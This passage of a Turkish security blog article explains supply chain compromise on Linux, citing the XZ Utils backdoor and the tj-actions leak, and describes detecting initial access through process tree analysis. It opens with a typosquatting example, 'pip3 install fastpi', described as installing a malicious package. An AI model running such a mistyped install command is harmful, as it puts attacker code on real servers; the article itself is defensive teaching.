| Bir geliştirici, sunucuya Python “fastapi” paketini kurmak ister ancak tek bir harf hatası yapar: pip3 install fastpi | Yanlış yazılan paket aslında kötü amaçlıydı; tehdit aktörleri tarafından bilinçli olarak hazırlanıp yayımlanmıştı (Gerçek dünya örneği) |
Tedarik Zinciri İhlali (Supply Chain Compromise)
Bu saldırı türü yalnızca Linux’a özgü olmasa da, Tedarik Zinciri İhlali kavramının farkında olman oldukça önemlidir. Bu tür saldırılarda, saldırganlar doğrudan son kullanıcıyı hedef almak yerine önce bir yazılımı veya bağımlılığı (dependency) ele geçirir. Ardından bu yazılımın güncellemeleri aracılığıyla tüm kullanıcılarına zararlı kod bulaştırılır.
Tipik bir Linux sunucusu, farklı geliştiriciler tarafından sürdürülen yüzlerce yazılım bağımlılığı kullanır. Bu da saldırının herhangi bir bileşenden, herhangi bir zamanda gelebileceği anlamına gelir. Yani risk oldukça geniş bir yüzeye yayılmıştır.
Bazı örneklere bakalım:
- SSH’nin bir parçası olan XZ Utils kütüphanesine yerleştirilen bir arka kapı (backdoor), neredeyse milyonlarca Linux sunucusunun ihlal edilmesine yol açacaktı.
- tj-actions bileşeninin ele geçirilmesi sonucunda, SSH anahtarları ve erişim token’ları gibi binlerce hassas bilginin sızdırılması gerçekleşti.
Bu makalemizde anlattığım tüm Initial Access (ilk erişim) teknikleri, süreç ağacı (process tree) analizi ile ortaya çıkarılabilir. Analize genellikle bir tetikleyici (trigger) ile başlanır. Bu tetikleyici, örneğin bir SIEM uyarısı (şüpheli bir komut çalıştırılması gibi) ya da bilinen zararlı bir IP adresine yapılan bağlantı olabilir.
Buradan sonra, ilgili olayın arka planını anlamak için bir süreç ağacı oluşturulur. Amaç, bu olayların hangi uygulama veya kullanıcı tarafından başlatıldığını tespit etmektir. Bu; bir web sunucusu, kurum içi bir uygulama ya da bir BT yöneticisinin SSH oturumu olabilir.
Son adımda ise elde edilen bilgiler değerlendirilerek, bu aktivitenin meşru (legitimate) bir işlem mi yoksa kötü niyetli bir davranışın göstergesi (malicious activity) mi olduğu belirlenir.
Okuduğunuz için teşekkür ederimCW-Ommah
Bug Researchers Tim Sundu...
Bug Researchers Tim Sundu...
